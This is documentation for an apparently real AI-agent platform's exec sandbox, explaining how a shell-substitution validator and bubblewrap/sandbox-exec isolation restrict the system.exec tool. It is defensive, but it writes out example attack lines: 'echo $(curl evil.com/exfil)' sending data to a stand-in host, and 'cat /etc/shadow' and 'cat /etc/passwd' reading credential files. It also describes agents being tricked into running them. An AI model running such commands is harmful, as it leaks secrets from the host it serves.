> ## Documentation Index
> Fetch the complete documentation index at: https://comis-fix-skill-import-vetting-gate.mintlify.site/llms.txt
> Use this file to discover all available pages before exploring further.

# Exec Sandbox

> Optional OS-level filesystem isolation for system.exec on supported hosts

File tools like `read`, `write`, and `edit` are protected by [Safe Path](/reference/safe-path) validation. The `system.exec` tool spawns a shell, so Comis attempts to add OS-level filesystem isolation with bubblewrap on Linux or `sandbox-exec` on macOS. If the provider is unavailable, the current adapter warns and runs the command without that OS isolation.

<Warning>
  **Scope is critical.** The exec sandbox protects **only the `system.exec`
  tool**. It does not sandbox:

  * **In-process Node tools** -- built-in skills that run inside the daemon
    process (file\_read, web\_fetch, memory\_search, etc.) execute with full
    daemon permissions. Their security relies on application-level layers
    (safePath, SSRF guard, tool policy, content scanner).
  * **MCP stdio servers** -- external MCP processes are explicitly launched
    with `NODE_OPTIONS` stripped (see
    [Node Permissions](/reference/node-permissions)) so MCP servers run
    unsandboxed by design. Treat each MCP server as a trusted dependency.
  * **Arbitrary agent code** -- if you give an agent Python, Node, or other
    language tooling outside `system.exec`, that code runs unsandboxed.

  When isolation is active, the shell sees only approved paths. Verify the
  provider on the target host; configuration alone does not make this a
  fail-closed boundary.
</Warning>

## Two-Stage Protection: Validator + Sandbox

Every `system.exec` call passes through **two layers** before the OS spawns
the shell:

1. **`ExecSecurityValidator`** (pre-sandbox) -- a quote-aware state machine
   inspects the command string for dangerous shell substitution and rejects
   it before the sandbox even runs. Caught patterns include:

   * Command substitution: `$(...)`
   * Backtick substitution: `` `...` ``
   * Process substitution: `<(...)`, `>(...)`
   * Zsh process substitution: `=(...)`
   * Zsh equals expansion: `=cmd` at a word boundary

   The validator tracks quote context (normal, single, double, backtick) so
   patterns inside single quotes (where the shell does not interpret them)
   pass through unchanged.

2. **OS-level sandbox** (filesystem isolation) -- if the validator approves,
   the command is wrapped by bubblewrap or sandbox-exec for the actual
   spawn.

This means an attacker who tricks an agent into writing
`echo $(curl evil.com/exfil)` is stopped at stage 1, before the sandbox
runs. The sandbox catches anything stage 1 misses (e.g.,
`cat /etc/shadow` -- syntactically clean, but `/etc/shadow` is invisible
inside the namespace).

## The Problem

Safe Path validation protects file tool parameters, but it cannot inspect shell command strings. This creates a gap where `exec` can access files that `read` would block:

```bash theme={}
# Blocked by Safe Path -- read validates the path parameter
tool: read
path: "/etc/passwd"
# Result: DENIED -- path outside workspace

# Bypasses Safe Path -- exec runs a shell command, not a file tool
tool: exec
command: "cat /etc/passwd"
# Without sandbox: SUCCEEDS -- shell has full filesystem access
# With sandbox:    DENIED -- /etc/passwd is not mounted inside the namespace
```

When the OS provider is active, the exec sandbox makes unauthorized paths
invisible to the shell process. When it is unavailable or disabled, the
command validator remains but host filesystem isolation does not.

## How It Works

The sandbox uses platform-native isolation to restrict what the shell process can see:

* **Linux:** [bubblewrap](https://github.com/containers/bubblewrap) (`bwrap`) creates a mount namespace with only allowed paths visible. The process runs in its own user namespace with `--unshare-all --share-net --die-with-parent --new-session`.
* **macOS:** `sandbox-exec` applies an SBPL (Sandbox Profile Language) profile that restricts filesystem access. Default deny, with explicit read/write grants for approved paths.
* **Both platforms:** The workspace directory is read-write, system binaries are read-only, and everything else is invisible. Network access is allowed (network isolation is a separate concern).

Detection happens once at daemon startup. The provider is reused for all agents throughout the daemon's lifetime.

## Mount Table

The table below shows what paths are visible inside the sandbox. Anything not listed here is invisible to the sandboxed process.

| Path                                                       | Access        | Purpose                                                       |
| ---------------------------------------------------------- | ------------- | ------------------------------------------------------------- |
| Workspace (`~/.comis/workspace-{agent}/`)                  | Read-Write    | Agent's working directory                                     |
| Graph shared dir (`~/.comis/graph-runs/{runId}/`)          | Read-Write    | Pipeline data sharing between graph nodes                     |
| `/usr`, `/bin`, `/sbin`, `/lib`, `/lib64`, `/lib32`        | Read-Only     | System binaries and shared libraries                          |
| `/etc/resolv.conf`, `/etc/hosts`, `/etc/hostname`          | Read-Only     | Network configuration                                         |
| `/etc/ssl`, `/etc/ca-certificates`, `/etc/pki`             | Read-Only     | TLS certificates                                              |
| `/etc/ld.so.cache`, `/etc/ld.so.conf`, `/etc/ld.so.conf.d` | Read-Only     | Dynamic linker configuration                                  |
| `/etc/alternatives`, `/etc/localtime`                      | Read-Only     | System settings                                               |
| `/etc/passwd`, `/etc/group`, `/etc/nsswitch.conf`          | Read-Only     | User and group name resolution                                |
| `~/.gitconfig`, `~/.config/git/`                           | Read-Only     | Git author config (no credentials -- `~/.ssh` is NOT mounted) |
| `/proc`                                                    | proc          | Process information filesystem                                |
| `/dev`                                                     | dev           | Device nodes                                                  |
| `/tmp`                                                     | Private tmpfs | Isolated temp directory (not shared with host)                |
| `readOnlyAllowPaths` entries                               | Read-Only     | Operator-configured additional paths                          |
| Spillover temp dir                                         | Read-Write    | Exec tool internal temp files                                 |

<Info>
  On macOS, the sandbox-exec provider uses equivalent paths: `/Library`, `/System`, `/opt/homebrew`, `/usr/local` for system binaries, and `/private/tmp`, `/private/var/folders` for temp directories.
</Info>

## Configuration

```yaml title="~/.comis/config.yaml" theme={}
agents:
  my-agent:
    skills:
      execSandbox:
        enabled: "always"            # "always" (default) or "never"
        readOnlyAllowPaths:          # Additional read-only paths inside the sandbox
          - /opt/data
          - /mnt/shared/datasets
```

| Field                | Type       | Default    | Description                                                                                                                                                                                     |
| -------------------- | ---------- | ---------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `enabled`            | `enum`     | `"always"` | `"always"` -- sandbox is active; if the sandbox binary is unavailable, the exec tool logs a warning and runs unsandboxed (graceful fallback). `"never"` -- sandbox is unconditionally disabled. |
| `readOnlyAllowPaths` | `string[]` | `[]`       | Additional filesystem paths exposed read-only inside the sandbox. Use this for shared data directories that agents need to read but should not modify.                                          |

<Warning>
  Setting `enabled: "never"` removes the OS-level filesystem isolation entirely. The exec tool will fall back to its command denylist as the only protection. This is not recommended for production deployments.
</Warning>

## System Requirements

* **Linux:** Install bubblewrap -- `apt install bubblewrap` (Debian/Ubuntu) or the equivalent for your distribution. See the [bubblewrap GitHub repository](https://github.com/containers/bubblewrap) for details.
* **macOS:** `sandbox-exec` is built in to macOS. No installation needed.

<Warning>
  `sandbox-exec` on macOS is deprecated by Apple and may be removed in a future macOS release. It remains functional for development use, but use bubblewrap on Linux for production deployments.
</Warning>

## Limitations

<Info>
  The exec sandbox provides **filesystem isolation only**. It does not restrict other resource types:

  * **Network access is NOT restricted** -- network isolation is a separate concern from filesystem isolation
  * **CPU, memory, and disk limits are NOT enforced** -- resource limits are out of scope for the filesystem sandbox
  * **MCP tool servers run outside the sandbox** -- MCP servers have their own security model and are not wrapped by the exec sandbox
  * **sandbox-exec on macOS is deprecated** -- Apple may remove it in a future macOS release; use bubblewrap on Linux for production
</Info>

## Network Modes and Credential Broker

The exec sandbox supports four network modes via `SandboxOptions.network`:

| Mode             | bwrap args                                                           | Description                                                                                                                                                                            |
| ---------------- | -------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `open` (default) | `--unshare-all --share-net`                                          | Standard sandbox; full network access                                                                                                                                                  |
| `broker-only`    | `--unshare-all --unshare-net --bind <socketPath> <socketPath>`       | Driven-CLI sandbox; only the broker unix socket is reachable via bind-mount                                                                                                            |
| `none`           | `--unshare-all --unshare-net`                                        | Kernel-enforced deny-all egress (no socket, no proxy). Used by the verified-learning skill-validation jail so a synthesized script cannot reach the network during dynamic validation. |
| `cap-socket`     | `--unshare-all --unshare-net --bind <capSocketPath> <capSocketPath>` | Autonomy/orchestrate jail; only the capability-lease loopback endpoint's unix socket is reachable via bind-mount. All general IP egress is cut.                                        |

The `broker-only` mode is set automatically for driven API-key CLI spawns. It is not a user-configurable option — the daemon sets it when it launches a credentialed CLI through the broker. The `none` mode is set automatically by the skill-validation sandbox (it is likewise not user-configurable). The `cap-socket` mode is set automatically by the daemon when it launches an autonomy-bearing orchestrate surface; the socket path is daemon-minted per run.

<Info>
  A kernel network namespace (`--unshare-net`) blocks **IP** sockets only — a
  **bound unix socket** stays reachable. That is why `broker-only` and `cap-socket`
  can hand the jailed process a single unix-socket channel (the broker, or the
  lease endpoint) while every TCP/UDP path to the outside is hard-cut. The socket
  `--bind` is emitted **after** `--unshare-net` so bwrap applies it inside the new
  namespace.
</Info>

## Autonomy Jail Hardening

The autonomy/orchestrate jail layers these kernel- and validator-level controls
on top of the baseline filesystem isolation. Each is defense-in-depth — it holds
independently of the others:

| Control              | bwrap arg / mechanism                         | Protects against                                                                                                                                                                                        |
| -------------------- | --------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| New session          | `--new-session`                               | TIOCSTI keystroke-injection escape (CVE-2017-5226) — the child has no controlling TTY                                                                                                                   |
| Die-with-parent      | `--die-with-parent`                           | Orphaned jail surviving the daemon                                                                                                                                                                      |
| Seccomp profile      | `--seccomp <fd>` (raw-BPF blob, optional)     | Dangerous syscalls (keyring / `ptrace` / `perf_event_open` / `bpf` / module loading; the CVE-2024-1086 class). Absent blob → degrade (no `--seccomp`), never crash                                      |
| Bind-mount validator | every dynamic bind screened before mount      | Binding a system/credential dir, a parent that covers a blocked descendant, or a symlinked leaf resolving to a blocked path — **refused at construction**, fails loud                                   |
| Writable-path audit  | bind-list invariant                           | A host-trusted writable path (config / hooks / cron / `~/.nvm` / learned-memory/skill / bound `execPath`) being RW-bound, or a RO parent letting a nonexistent child config be created (CVE-2026-25725) |
| Egress cut           | `--unshare-net` (no allowlist)                | Network exfiltration with no allowlist-empty=allow-all failure mode (CVE-2025-66479 class)                                                                                                              |
| Namespace preflight  | startup probe → assistant downshift           | A host that cannot build an unprivileged userns silently running unjailed — instead the posture **downshifts to assistant** with a remediation hint                                                     |
| Node-runtime honesty | probe PATH → RO-bind `execPath` → unavailable | A false "bundled Node" claim or a silent unjailed Node — surfaces 2/3 are marked **unavailable** with a loud signal when no jailed `node` is resolvable                                                 |

The bind-mount validator's denylist is a **backstop** on top of the allow-list
binds, never the primary boundary. The daemon-minted broker/cap sockets and the
curated system read-only paths (e.g. `/etc/resolv.conf`) are the trusted
allow-list and are not re-screened.

The four CVE-class containment claims (TIOCSTI, CVE-2026-25725 writable-path,
symlink-escape, CVE-2025-66479 egress) are proven by Linux-gated `.linux.test.ts`
suites that run on the production host class (`pnpm validate:full`); they skip on
macOS where a real `bwrap` namespace cannot be built.

**Secure credential home** (`secureCredentialHome: true`): When set, the following bind mounts are omitted from the sandbox, so credential files are unreachable inside:

* `~/.claude` (read-write bind)
* `~/.claude.json` (read-only bind)
* `~/.local/share/claude` (read-write bind)

On Linux, the `broker-only` network mode combines with `secureCredentialHome` so neither the key material nor a direct network path to the key provider is reachable inside the sandbox. Network-level enforcement (`--unshare-net`) is validated on the Linux production host class: direct egress from inside the namespace fails, while the bound broker socket stays reachable.

<Info>
  Source: `packages/skills/src/tools/builtin/sandbox/types.ts` · `packages/skills/src/tools/builtin/sandbox/bwrap-provider.ts`
</Info>

[Credential Broker →](/security/credential-broker)

## Graph Integration

When an agent runs inside an [execution graph](/agents/execution-graphs) pipeline, the graph's shared directory (`~/.comis/graph-runs/{runId}/`) is automatically mounted read-write inside the sandbox. This allows pipeline nodes to share data files while maintaining filesystem isolation -- each node can read outputs from upstream nodes and write outputs for downstream nodes, but cannot access any other part of the host filesystem.

## Related

<CardGroup cols={2}>
  <Card title="Defense in Depth" icon="shield-halved" href="/security/defense-in-depth">
    How the exec sandbox fits into the wider security model
  </Card>

  <Card title="Safe Path" icon="folder-closed" href="/reference/safe-path">
    Path validation for file tools (read, write, edit)
  </Card>

  <Card title="Tool Security" icon="box" href="/reference/sandbox">
    Technical sandbox reference for all defense layers
  </Card>

  <Card title="Hardening Guide" icon="lock" href="/security/hardening">
    Production hardening checklist
  </Card>
</CardGroup>
